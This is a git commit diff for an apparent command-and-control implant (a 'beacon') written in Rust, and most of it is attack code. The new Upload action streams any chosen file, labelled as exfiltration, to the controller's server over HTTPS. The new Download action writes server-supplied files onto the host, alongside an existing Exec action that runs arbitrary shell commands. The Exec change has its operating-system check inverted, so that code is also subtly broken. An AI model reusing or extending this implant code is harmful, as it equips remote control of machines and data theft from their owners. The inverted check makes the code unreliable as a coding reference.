feat: added download and upload commands
redid actions to better support different clients
This commit is contained in:
parent
e0bd5c3b06
commit
7f9ea12b6a
13
Cargo.lock
generated
13
Cargo.lock
generated
@ -3496,6 +3496,7 @@ dependencies = [
|
|||||||
"bytes",
|
"bytes",
|
||||||
"chrono",
|
"chrono",
|
||||||
"enum_delegate",
|
"enum_delegate",
|
||||||
|
"futures-core",
|
||||||
"http",
|
"http",
|
||||||
"http-body-util",
|
"http-body-util",
|
||||||
"hyper",
|
"hyper",
|
||||||
@ -3511,6 +3512,8 @@ dependencies = [
|
|||||||
"sqlx",
|
"sqlx",
|
||||||
"thiserror 2.0.11",
|
"thiserror 2.0.11",
|
||||||
"tokio",
|
"tokio",
|
||||||
|
"tokio-stream",
|
||||||
|
"tokio-util",
|
||||||
"uuid",
|
"uuid",
|
||||||
]
|
]
|
||||||
|
|
||||||
@ -3523,6 +3526,7 @@ dependencies = [
|
|||||||
"chrono",
|
"chrono",
|
||||||
"cron",
|
"cron",
|
||||||
"futures",
|
"futures",
|
||||||
|
"futures-core",
|
||||||
"http",
|
"http",
|
||||||
"http-body",
|
"http-body",
|
||||||
"http-body-util",
|
"http-body-util",
|
||||||
@ -3543,6 +3547,7 @@ dependencies = [
|
|||||||
"sparse-actions",
|
"sparse-actions",
|
||||||
"thiserror 2.0.11",
|
"thiserror 2.0.11",
|
||||||
"tokio",
|
"tokio",
|
||||||
|
"tokio-util",
|
||||||
"tower-service",
|
"tower-service",
|
||||||
"tracing",
|
"tracing",
|
||||||
]
|
]
|
||||||
@ -3557,6 +3562,7 @@ dependencies = [
|
|||||||
"axum-server",
|
"axum-server",
|
||||||
"chrono",
|
"chrono",
|
||||||
"futures",
|
"futures",
|
||||||
|
"http-body-util",
|
||||||
"rcgen",
|
"rcgen",
|
||||||
"rustls",
|
"rustls",
|
||||||
"rustls-pki-types",
|
"rustls-pki-types",
|
||||||
@ -3566,7 +3572,9 @@ dependencies = [
|
|||||||
"sqlx",
|
"sqlx",
|
||||||
"tokio",
|
"tokio",
|
||||||
"tokio-stream",
|
"tokio-stream",
|
||||||
|
"tokio-util",
|
||||||
"tracing",
|
"tracing",
|
||||||
|
"uuid",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -3611,6 +3619,7 @@ dependencies = [
|
|||||||
"thiserror 1.0.69",
|
"thiserror 1.0.69",
|
||||||
"tokio",
|
"tokio",
|
||||||
"tokio-stream",
|
"tokio-stream",
|
||||||
|
"tokio-util",
|
||||||
"tower 0.4.13",
|
"tower 0.4.13",
|
||||||
"tower-http 0.5.2",
|
"tower-http 0.5.2",
|
||||||
"tracing",
|
"tracing",
|
||||||
@ -4616,9 +4625,9 @@ checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be"
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "uuid"
|
name = "uuid"
|
||||||
version = "1.14.0"
|
version = "1.15.1"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "93d59ca99a559661b96bf898d8fce28ed87935fd2bea9f05983c1464dd6c71b1"
|
checksum = "e0f540e3240398cce6128b64ba83fdbdd86129c16a3aa1a3a252efd66eb3d587"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"getrandom 0.3.1",
|
"getrandom 0.3.1",
|
||||||
"serde",
|
"serde",
|
||||||
|
|||||||
@ -25,6 +25,9 @@ rustls = { version = "0.23.23", default-features = false, features = ["std"], op
|
|||||||
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true }
|
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true }
|
||||||
bytes = { version = "1.10.0", optional = true }
|
bytes = { version = "1.10.0", optional = true }
|
||||||
http-body-util = { version = "0.1.2", optional = true }
|
http-body-util = { version = "0.1.2", optional = true }
|
||||||
|
futures-core = { version = "0.3.31", optional = true }
|
||||||
|
tokio-stream = "0.1.17"
|
||||||
|
tokio-util = { version = "0.7.13", features = ["io"], optional = true }
|
||||||
|
|
||||||
[build-dependencies]
|
[build-dependencies]
|
||||||
bindgen = "0.69"
|
bindgen = "0.69"
|
||||||
@ -41,6 +44,8 @@ beacon = [
|
|||||||
"dep:rmp-serde",
|
"dep:rmp-serde",
|
||||||
"dep:bytes",
|
"dep:bytes",
|
||||||
"dep:http-body-util",
|
"dep:http-body-util",
|
||||||
|
"dep:futures-core",
|
||||||
|
"dep:tokio-util",
|
||||||
"uuid/v4"
|
"uuid/v4"
|
||||||
]
|
]
|
||||||
server-ssr = ["uuid/v4", "dep:sqlx"]
|
server-ssr = ["uuid/v4", "dep:sqlx"]
|
||||||
|
|||||||
@ -2,16 +2,19 @@
|
|||||||
/// Cannot have fields that have the following names:
|
/// Cannot have fields that have the following names:
|
||||||
/// `target_beacon_id`, `target_category_id`, or `cmd_type`
|
/// `target_beacon_id`, `target_category_id`, or `cmd_type`
|
||||||
#[cfg(feature = "server")]
|
#[cfg(feature = "server")]
|
||||||
use leptos::prelude::*;
|
use leptos::{either::Either, prelude::*};
|
||||||
use serde::{Deserialize, Serialize};
|
use serde::{Deserialize, Serialize};
|
||||||
|
|
||||||
#[cfg(feature = "beacon")]
|
#[cfg(feature = "beacon")]
|
||||||
use crate::{payload_types::Parameters, adapter::BeaconAdapter, error::BeaconError};
|
use crate::{payload_types::Parameters, adapter::BeaconAdapter, error::BeaconError};
|
||||||
use crate::version::Version;
|
use crate::version::Version;
|
||||||
|
|
||||||
#[derive(Serialize, Deserialize, Clone)]
|
#[derive(Serialize, Deserialize, Clone, Debug)]
|
||||||
pub struct FileId(pub uuid::Uuid);
|
pub struct FileId(pub uuid::Uuid);
|
||||||
|
|
||||||
|
#[cfg(feature = "beacon")]
|
||||||
|
pub type CallbackBody<T> = Box<dyn hyper::body::Body<Data = bytes::Bytes, Error = BeaconError<<T as BeaconAdapter>::Error>> + Send + Unpin>;
|
||||||
|
|
||||||
/// Macro used to enforce the invariant that struct names are used to identify
|
/// Macro used to enforce the invariant that struct names are used to identify
|
||||||
/// the enum branch as well
|
/// the enum branch as well
|
||||||
macro_rules! define_actions_enum {
|
macro_rules! define_actions_enum {
|
||||||
@ -28,11 +31,21 @@ macro_rules! define_actions_enum {
|
|||||||
|
|
||||||
impl Actions {
|
impl Actions {
|
||||||
#[cfg(feature = "server")]
|
#[cfg(feature = "server")]
|
||||||
fn render_internal(&self, data: String) -> AnyView {
|
pub fn render_composite_action(&self, data: String) -> impl IntoView {
|
||||||
let res: Result<Result<String, String>, _> = serde_json::from_str(&data);
|
let res: Result<Result<String, String>, _> = serde_json::from_str(&data);
|
||||||
|
|
||||||
match res {
|
match res {
|
||||||
Ok(Ok(v)) => match self {
|
Ok(v) => Either::Left(self.render_internal(v)),
|
||||||
|
Err(_) => Either::Right(view! {
|
||||||
|
<p>"The command results in the database are corrupted"</p>
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(feature = "server")]
|
||||||
|
fn render_internal(&self, data: Result<String, String>) -> AnyView {
|
||||||
|
match data {
|
||||||
|
Ok(v) => match self {
|
||||||
$(
|
$(
|
||||||
Actions::$act(action) => {
|
Actions::$act(action) => {
|
||||||
let Ok(data) = serde_json::from_str(&v) else {
|
let Ok(data) = serde_json::from_str(&v) else {
|
||||||
@ -44,7 +57,7 @@ macro_rules! define_actions_enum {
|
|||||||
},
|
},
|
||||||
)*
|
)*
|
||||||
},
|
},
|
||||||
Ok(Err(e)) => view! {
|
Err(e) => view! {
|
||||||
<details>
|
<details>
|
||||||
<summary>
|
<summary>
|
||||||
"While running the command, an error occured:"
|
"While running the command, an error occured:"
|
||||||
@ -53,9 +66,6 @@ macro_rules! define_actions_enum {
|
|||||||
{e}
|
{e}
|
||||||
</pre>
|
</pre>
|
||||||
</details>
|
</details>
|
||||||
}.into_any(),
|
|
||||||
Err(_) => view! {
|
|
||||||
<p>"The command results in the database are corrupted"</p>
|
|
||||||
}.into_any()
|
}.into_any()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -76,10 +86,10 @@ macro_rules! define_actions_enum {
|
|||||||
&self,
|
&self,
|
||||||
parameters: &Parameters,
|
parameters: &Parameters,
|
||||||
adapter: &'a T,
|
adapter: &'a T,
|
||||||
client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>>
|
client: &'a hyper_util::client::legacy::Client<S, CallbackBody<T>>
|
||||||
) -> Result<Result<String, String>, BeaconError<T::Error>>
|
) -> Result<Result<String, String>, BeaconError<T::Error>>
|
||||||
where
|
where
|
||||||
T: 'a + BeaconAdapter,
|
T: 'static + BeaconAdapter,
|
||||||
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
|
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
|
||||||
{
|
{
|
||||||
match self {
|
match self {
|
||||||
@ -116,6 +126,8 @@ macro_rules! define_actions_enum {
|
|||||||
|
|
||||||
define_actions_enum! {
|
define_actions_enum! {
|
||||||
(exec, Exec),
|
(exec, Exec),
|
||||||
|
(download, Download),
|
||||||
|
(upload, Upload),
|
||||||
// (ls, Ls),
|
// (ls, Ls),
|
||||||
// (update, Update),
|
// (update, Update),
|
||||||
// (upload, Upload),
|
// (upload, Upload),
|
||||||
@ -150,7 +162,7 @@ impl Action for Actions {
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[cfg(feature = "server")]
|
#[cfg(feature = "server")]
|
||||||
fn render_data(&self, data: String) -> AnyView {
|
fn render_data(&self, data: Self::ActionData) -> AnyView {
|
||||||
self.render_internal(data)
|
self.render_internal(data)
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -164,10 +176,10 @@ impl Action for Actions {
|
|||||||
&self,
|
&self,
|
||||||
parameters: &Parameters,
|
parameters: &Parameters,
|
||||||
adapter: &'a T,
|
adapter: &'a T,
|
||||||
client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>>
|
client: &'a hyper_util::client::legacy::Client<S, CallbackBody<T>>
|
||||||
) -> Result<Self::ActionData, BeaconError<T::Error>>
|
) -> Result<Self::ActionData, BeaconError<T::Error>>
|
||||||
where
|
where
|
||||||
T: 'a + BeaconAdapter,
|
T: 'static + BeaconAdapter,
|
||||||
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
|
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
|
||||||
{
|
{
|
||||||
self.execute_internal(parameters, adapter, client).await
|
self.execute_internal(parameters, adapter, client).await
|
||||||
@ -188,7 +200,7 @@ pub trait Action: Serialize + for<'a> Deserialize<'a> {
|
|||||||
async fn build_action(data: Self::BuilderData, db: &sqlx::SqlitePool) -> Result<Self, BuildActionError>;
|
async fn build_action(data: Self::BuilderData, db: &sqlx::SqlitePool) -> Result<Self, BuildActionError>;
|
||||||
|
|
||||||
#[cfg(feature = "server")]
|
#[cfg(feature = "server")]
|
||||||
fn render_data(&self, data: String) -> AnyView;
|
fn render_data(&self, data: Self::ActionData) -> AnyView;
|
||||||
|
|
||||||
#[cfg(feature = "server")]
|
#[cfg(feature = "server")]
|
||||||
fn render_empty(&self) -> AnyView;
|
fn render_empty(&self) -> AnyView;
|
||||||
@ -198,10 +210,10 @@ pub trait Action: Serialize + for<'a> Deserialize<'a> {
|
|||||||
&self,
|
&self,
|
||||||
parameters: &Parameters,
|
parameters: &Parameters,
|
||||||
adapter: &'a T,
|
adapter: &'a T,
|
||||||
client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>>
|
client: &'a hyper_util::client::legacy::Client<S, CallbackBody<T>>
|
||||||
) -> Result<Self::ActionData, BeaconError<T::Error>>
|
) -> Result<Self::ActionData, BeaconError<T::Error>>
|
||||||
where
|
where
|
||||||
T: 'a + BeaconAdapter,
|
T: 'static + BeaconAdapter,
|
||||||
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static;
|
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@ -3,13 +3,13 @@ use leptos::prelude::*;
|
|||||||
use serde::{Deserialize, Serialize};
|
use serde::{Deserialize, Serialize};
|
||||||
|
|
||||||
#[cfg(feature = "beacon")]
|
#[cfg(feature = "beacon")]
|
||||||
use crate::payload_types::Parameters;
|
use crate::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
|
||||||
use crate::version::Version;
|
use crate::version::Version;
|
||||||
|
|
||||||
#[derive(Serialize, Deserialize, Clone)]
|
#[derive(Serialize, Deserialize, Clone, Debug)]
|
||||||
pub struct Download {
|
pub struct Download {
|
||||||
download_src: super::FileId,
|
|
||||||
download_path: String,
|
download_path: String,
|
||||||
|
download_src: super::FileId,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[async_trait::async_trait]
|
#[async_trait::async_trait]
|
||||||
@ -22,16 +22,95 @@ impl super::Action for Download {
|
|||||||
];
|
];
|
||||||
|
|
||||||
type ActionData = ();
|
type ActionData = ();
|
||||||
|
#[cfg(feature = "server-ssr")]
|
||||||
|
type BuilderData = Self;
|
||||||
|
|
||||||
|
#[cfg(feature = "server-ssr")]
|
||||||
|
async fn build_action(data: Self::BuilderData, _db: &sqlx::SqlitePool) -> Result<Self, super::BuildActionError> {
|
||||||
|
Ok(data)
|
||||||
|
}
|
||||||
|
|
||||||
#[cfg(feature = "beacon")]
|
#[cfg(feature = "beacon")]
|
||||||
async fn execute(&self, _: &Parameters) -> Self::ActionData {
|
async fn execute<'a, T, S>(
|
||||||
"Hi".to_string();
|
&self,
|
||||||
|
parameters: &Parameters,
|
||||||
|
_adapter: &'a T,
|
||||||
|
client: &'a hyper_util::client::legacy::Client<S, super::CallbackBody<T>>
|
||||||
|
) -> Result<Self::ActionData, BeaconError<T::Error>>
|
||||||
|
where
|
||||||
|
T: 'static + BeaconAdapter,
|
||||||
|
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
|
||||||
|
{
|
||||||
|
use http_body_util::{BodyExt, Empty};
|
||||||
|
use hyper::{Method, Request};
|
||||||
|
use tokio_stream::StreamExt;
|
||||||
|
use tokio::io::AsyncWriteExt;
|
||||||
|
|
||||||
|
let mut target_file = tokio::fs::OpenOptions::new()
|
||||||
|
.write(true)
|
||||||
|
.create(true)
|
||||||
|
.open(self.download_path.clone())
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
let body: super::CallbackBody<T> = Box::new(
|
||||||
|
Empty::<bytes::Bytes>::new()
|
||||||
|
.map_err(|_| crate::error::BeaconError::GenericHyper(
|
||||||
|
"infallible case encountered".to_string()
|
||||||
|
))
|
||||||
|
);
|
||||||
|
|
||||||
|
let req = Request::builder()
|
||||||
|
.method(Method::GET)
|
||||||
|
.uri(format!(
|
||||||
|
"https://{}/files/download/{}",
|
||||||
|
parameters.domain_name::<T>()?,
|
||||||
|
self.download_src.0.to_string()
|
||||||
|
))
|
||||||
|
.body(body)?;
|
||||||
|
|
||||||
|
let resp = client.request(req).await?;
|
||||||
|
|
||||||
|
if !resp.status().is_success() {
|
||||||
|
let status = resp.status().clone();
|
||||||
|
|
||||||
|
if cfg!(debug_assertions) {
|
||||||
|
let body = resp.into_body();
|
||||||
|
let body = body.collect().await?;
|
||||||
|
|
||||||
|
dbg!(body);
|
||||||
|
}
|
||||||
|
return Err(BeaconError::SparseServerHttpError(status));
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut body = resp.into_body().into_data_stream();
|
||||||
|
|
||||||
|
while let Some(Ok(chunk)) = body.next().await {
|
||||||
|
target_file.write(&chunk).await?;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg(feature = "server")]
|
#[cfg(feature = "server")]
|
||||||
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
|
fn render_data(&self, _: Self::ActionData) -> AnyView {
|
||||||
view! {
|
view! {
|
||||||
"ls ran"
|
"File successfully downloaded to " {self.download_path.clone()}
|
||||||
}
|
}
|
||||||
|
.into_any()
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(feature = "server")]
|
||||||
|
fn render_empty(&self) -> AnyView {
|
||||||
|
view! {
|
||||||
|
<div>
|
||||||
|
"request download of "
|
||||||
|
<a href=format!("/binaries/files/{}", self.download_src.0.to_string()) download>
|
||||||
|
"file"
|
||||||
|
</a>
|
||||||
|
" to "
|
||||||
|
<code>{self.download_path.clone()}</code>
|
||||||
|
</div>
|
||||||
|
}
|
||||||
|
.into_any()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@ -33,10 +33,10 @@ impl super::Action for Exec {
|
|||||||
&self,
|
&self,
|
||||||
_parameters: &Parameters,
|
_parameters: &Parameters,
|
||||||
_adapter: &'a T,
|
_adapter: &'a T,
|
||||||
_client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>>
|
_client: &'a hyper_util::client::legacy::Client<S, super::CallbackBody<T>>
|
||||||
) -> Result<Self::ActionData, BeaconError<T::Error>>
|
) -> Result<Self::ActionData, BeaconError<T::Error>>
|
||||||
where
|
where
|
||||||
T: 'a + BeaconAdapter,
|
T: 'static + BeaconAdapter,
|
||||||
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
|
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
|
||||||
{
|
{
|
||||||
use std::process::Stdio;
|
use std::process::Stdio;
|
||||||
@ -45,12 +45,21 @@ impl super::Action for Exec {
|
|||||||
|
|
||||||
let mut output: Vec<String> = Vec::new();
|
let mut output: Vec<String> = Vec::new();
|
||||||
|
|
||||||
let mut cmd = Command::new("sh")
|
let mut cmd = if cfg!(target_os = "windows") {
|
||||||
|
Command::new("sh")
|
||||||
.arg("-c")
|
.arg("-c")
|
||||||
.arg(self.exec_cmd.clone())
|
.arg(self.exec_cmd.clone())
|
||||||
.stdout(Stdio::piped())
|
.stdout(Stdio::piped())
|
||||||
.stderr(Stdio::piped())
|
.stderr(Stdio::piped())
|
||||||
.spawn()?;
|
.spawn()?
|
||||||
|
} else {
|
||||||
|
Command::new("cmd.exe")
|
||||||
|
.arg("/c")
|
||||||
|
.arg(self.exec_cmd.clone())
|
||||||
|
.stdout(Stdio::piped())
|
||||||
|
.stderr(Stdio::piped())
|
||||||
|
.spawn()?
|
||||||
|
};
|
||||||
|
|
||||||
let mut stdout = cmd.stdout.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
|
let mut stdout = cmd.stdout.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
|
||||||
let mut stderr = cmd.stderr.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
|
let mut stderr = cmd.stderr.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
|
||||||
@ -86,7 +95,7 @@ impl super::Action for Exec {
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[cfg(feature = "server")]
|
#[cfg(feature = "server")]
|
||||||
fn render_data(&self, data: String) -> AnyView {
|
fn render_data(&self, data: Self::ActionData) -> AnyView {
|
||||||
view! {
|
view! {
|
||||||
<div>
|
<div>
|
||||||
"execute command: " {self.exec_cmd.clone()}
|
"execute command: " {self.exec_cmd.clone()}
|
||||||
|
|||||||
@ -3,10 +3,10 @@ use leptos::prelude::*;
|
|||||||
use serde::{Deserialize, Serialize};
|
use serde::{Deserialize, Serialize};
|
||||||
|
|
||||||
#[cfg(feature = "beacon")]
|
#[cfg(feature = "beacon")]
|
||||||
use crate::payload_types::Parameters;
|
use crate::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
|
||||||
use crate::version::Version;
|
use crate::version::Version;
|
||||||
|
|
||||||
#[derive(Serialize, Deserialize, Clone)]
|
#[derive(Serialize, Deserialize, Clone, Debug)]
|
||||||
pub struct Upload {
|
pub struct Upload {
|
||||||
upload_src: String
|
upload_src: String
|
||||||
}
|
}
|
||||||
@ -19,17 +19,92 @@ impl super::Action for Upload {
|
|||||||
("File path to upload/exfil", "upload_src", None)
|
("File path to upload/exfil", "upload_src", None)
|
||||||
];
|
];
|
||||||
|
|
||||||
type ActionData = ();
|
type ActionData = super::FileId;
|
||||||
|
#[cfg(feature = "server-ssr")]
|
||||||
|
type BuilderData = Self;
|
||||||
|
|
||||||
|
#[cfg(feature = "server-ssr")]
|
||||||
|
async fn build_action(data: Self::BuilderData, _db: &sqlx::SqlitePool) -> Result<Self, super::BuildActionError> {
|
||||||
|
Ok(data)
|
||||||
|
}
|
||||||
|
|
||||||
#[cfg(feature = "beacon")]
|
#[cfg(feature = "beacon")]
|
||||||
async fn execute(&self, _: &Parameters) -> Self::ActionData {
|
async fn execute<'a, T, S>(
|
||||||
"Hi".to_string();
|
&self,
|
||||||
|
parameters: &Parameters,
|
||||||
|
_adapter: &'a T,
|
||||||
|
client: &'a hyper_util::client::legacy::Client<S, super::CallbackBody<T>>
|
||||||
|
) -> Result<Self::ActionData, BeaconError<T::Error>>
|
||||||
|
where
|
||||||
|
T: 'static + BeaconAdapter,
|
||||||
|
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
|
||||||
|
{
|
||||||
|
use http_body_util::{BodyExt, StreamBody};
|
||||||
|
use hyper::{body::Frame, Method, Request};
|
||||||
|
use tokio_stream::StreamExt;
|
||||||
|
use tokio_util::io::ReaderStream;
|
||||||
|
|
||||||
|
let target_file = tokio::fs::OpenOptions::new()
|
||||||
|
.read(true)
|
||||||
|
.open(self.upload_src.clone())
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
let read_stream = ReaderStream::new(target_file);
|
||||||
|
|
||||||
|
let body: super::CallbackBody<T> = Box::new(
|
||||||
|
StreamBody::new(read_stream
|
||||||
|
.map(|chunk| chunk
|
||||||
|
.map(Frame::data)
|
||||||
|
.map_err(Into::into))
|
||||||
|
)
|
||||||
|
);
|
||||||
|
|
||||||
|
let req = Request::builder()
|
||||||
|
.method(Method::POST)
|
||||||
|
.uri(format!(
|
||||||
|
"https://{}/files/upload",
|
||||||
|
parameters.domain_name::<T>()?,
|
||||||
|
))
|
||||||
|
.body(body)?;
|
||||||
|
|
||||||
|
let resp = client.request(req).await?;
|
||||||
|
|
||||||
|
if !resp.status().is_success() {
|
||||||
|
let status = resp.status().clone();
|
||||||
|
|
||||||
|
if cfg!(debug_assertions) {
|
||||||
|
let body = resp.into_body();
|
||||||
|
let body = body.collect().await?;
|
||||||
|
|
||||||
|
dbg!(body);
|
||||||
|
}
|
||||||
|
return Err(BeaconError::SparseServerHttpError(status));
|
||||||
|
}
|
||||||
|
|
||||||
|
let body = resp.into_body();
|
||||||
|
let body = body.collect().await?;
|
||||||
|
|
||||||
|
rmp_serde::from_slice(&body.to_bytes())
|
||||||
|
.map_err(Into::into)
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg(feature = "server")]
|
#[cfg(feature = "server")]
|
||||||
fn render_data(&self, _data: Self::ActionData) -> impl IntoView {
|
fn render_data(&self, id: Self::ActionData) -> AnyView {
|
||||||
view! {
|
view! {
|
||||||
"ls ran"
|
"File successfully uploaded: "
|
||||||
}
|
<a href=format!("/binaries/files/{}", id.0.to_string()) download>
|
||||||
|
"download"
|
||||||
|
</a>
|
||||||
|
}
|
||||||
|
.into_any()
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(feature = "server")]
|
||||||
|
fn render_empty(&self) -> AnyView {
|
||||||
|
view! {
|
||||||
|
"request upload of "
|
||||||
|
<code>{self.upload_src.clone()}</code>
|
||||||
|
}
|
||||||
|
.into_any()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@ -41,4 +41,6 @@ where
|
|||||||
Json(#[from] serde_json::Error),
|
Json(#[from] serde_json::Error),
|
||||||
#[error("could not acquire child resources")]
|
#[error("could not acquire child resources")]
|
||||||
ChildExecResourceNotFound,
|
ChildExecResourceNotFound,
|
||||||
|
#[error("generic hyper error")]
|
||||||
|
GenericHyper(String),
|
||||||
}
|
}
|
||||||
|
|||||||
@ -10,4 +10,5 @@ pub mod adapter;
|
|||||||
#[cfg(feature = "beacon")]
|
#[cfg(feature = "beacon")]
|
||||||
pub mod error;
|
pub mod error;
|
||||||
pub mod messages;
|
pub mod messages;
|
||||||
|
pub mod prelude;
|
||||||
pub mod version;
|
pub mod version;
|
||||||
|
|||||||
13
sparse-actions/src/prelude.rs
Normal file
13
sparse-actions/src/prelude.rs
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
#[cfg(feature = "beacon")]
|
||||||
|
use crate::{adapter::BeaconAdapter, error::BeaconError};
|
||||||
|
|
||||||
|
impl crate::payload_types::Parameters {
|
||||||
|
#[cfg(feature = "beacon")]
|
||||||
|
pub fn domain_name<'a, T>(&'a self) -> Result<&'a str, BeaconError<T::Error>>
|
||||||
|
where
|
||||||
|
T: BeaconAdapter,
|
||||||
|
{
|
||||||
|
std::str::from_utf8(&self.domain_name[..self.domain_name_length as usize])
|
||||||
|
.map_err(Into::into)
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -33,6 +33,8 @@ pcap-sys = { path = "../pcap-sys" }
|
|||||||
sparse-actions = { path = "../sparse-actions", features = ["beacon"] }
|
sparse-actions = { path = "../sparse-actions", features = ["beacon"] }
|
||||||
packets = { path = "../packets" }
|
packets = { path = "../packets" }
|
||||||
chrono = "0.4.39"
|
chrono = "0.4.39"
|
||||||
|
tokio-util = { version = "0.7.13", features = ["io"] }
|
||||||
|
futures-core = "0.3.31"
|
||||||
|
|
||||||
[features]
|
[features]
|
||||||
openssl = ["dep:rustls-openssl"]
|
openssl = ["dep:rustls-openssl"]
|
||||||
|
|||||||
@ -7,12 +7,11 @@ use hyper::{body::Incoming, Method, Request};
|
|||||||
use rand::Rng;
|
use rand::Rng;
|
||||||
|
|
||||||
use sparse_actions::payload_types::Parameters;
|
use sparse_actions::payload_types::Parameters;
|
||||||
use sparse_actions::{actions::Action, adapter, error::BeaconError, messages};
|
use sparse_actions::{actions::{Action, CallbackBody}, adapter, error::BeaconError, messages};
|
||||||
|
|
||||||
mod callback;
|
mod callback;
|
||||||
mod socket;
|
mod socket;
|
||||||
mod tcp;
|
mod tcp;
|
||||||
mod params;
|
|
||||||
|
|
||||||
pub fn install_rustls() {
|
pub fn install_rustls() {
|
||||||
#[cfg(feature = "openssl")]
|
#[cfg(feature = "openssl")]
|
||||||
@ -23,22 +22,29 @@ pub fn install_rustls() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async fn make_request_inner<A, Req>(
|
async fn make_request_inner<A, Req>(
|
||||||
client: &callback::SClient<A, Full<bytes::Bytes>>,
|
client: &callback::SClient<A, sparse_actions::actions::CallbackBody<A>>,
|
||||||
uri: hyper::Uri,
|
uri: hyper::Uri,
|
||||||
req_body: Req
|
req_body: Req
|
||||||
) -> Result<Response<Incoming>, BeaconError<A::Error>>
|
) -> Result<Response<Incoming>, BeaconError<A::Error>>
|
||||||
where
|
where
|
||||||
A: adapter::BeaconAdapter + Clone + 'static,
|
A: adapter::BeaconAdapter + Clone + 'static,
|
||||||
Req: serde::Serialize + Clone + Send + Sync + 'static
|
Req: serde::Serialize + Clone + Send + Sync + 'static,
|
||||||
{
|
{
|
||||||
let mut body_buf = Vec::new();
|
let mut body_buf = Vec::new();
|
||||||
req_body.serialize(&mut rmp_serde::Serializer::new(&mut body_buf))?;
|
req_body.serialize(&mut rmp_serde::Serializer::new(&mut body_buf))?;
|
||||||
|
|
||||||
|
let body: CallbackBody<A> = Box::new(
|
||||||
|
Full::<bytes::Bytes>::from(body_buf)
|
||||||
|
.map_err(|_| sparse_actions::error::BeaconError::GenericHyper(
|
||||||
|
"infallible case encountered".to_string()
|
||||||
|
))
|
||||||
|
);
|
||||||
|
|
||||||
let req = Request::builder()
|
let req = Request::builder()
|
||||||
.method(Method::POST)
|
.method(Method::POST)
|
||||||
.uri(uri)
|
.uri(uri)
|
||||||
.header("content-type", "application/msgpack")
|
.header("content-type", "application/msgpack")
|
||||||
.body(Full::<bytes::Bytes>::from(body_buf))?;
|
.body(body)?;
|
||||||
|
|
||||||
let resp = client.request(req).await?;
|
let resp = client.request(req).await?;
|
||||||
|
|
||||||
@ -58,7 +64,7 @@ where
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub async fn make_bodiless_request<A, Req>(
|
pub async fn make_bodiless_request<A, Req>(
|
||||||
client: &callback::SClient<A, Full<bytes::Bytes>>,
|
client: &callback::SClient<A, sparse_actions::actions::CallbackBody<A>>,
|
||||||
uri: hyper::Uri,
|
uri: hyper::Uri,
|
||||||
req_body: Req
|
req_body: Req
|
||||||
) -> Result<(), BeaconError<A::Error>>
|
) -> Result<(), BeaconError<A::Error>>
|
||||||
@ -72,7 +78,7 @@ where
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub async fn make_request<A, Req, Resp>(
|
pub async fn make_request<A, Req, Resp>(
|
||||||
client: &callback::SClient<A, Full<bytes::Bytes>>,
|
client: &callback::SClient<A, sparse_actions::actions::CallbackBody<A>>,
|
||||||
uri: hyper::Uri,
|
uri: hyper::Uri,
|
||||||
req_body: Req
|
req_body: Req
|
||||||
) -> Result<Resp, BeaconError<A::Error>>
|
) -> Result<Resp, BeaconError<A::Error>>
|
||||||
@ -104,7 +110,7 @@ where
|
|||||||
|
|
||||||
let messages::BeaconConfig { runtime_config, unfinished_actions } = make_request(
|
let messages::BeaconConfig { runtime_config, unfinished_actions } = make_request(
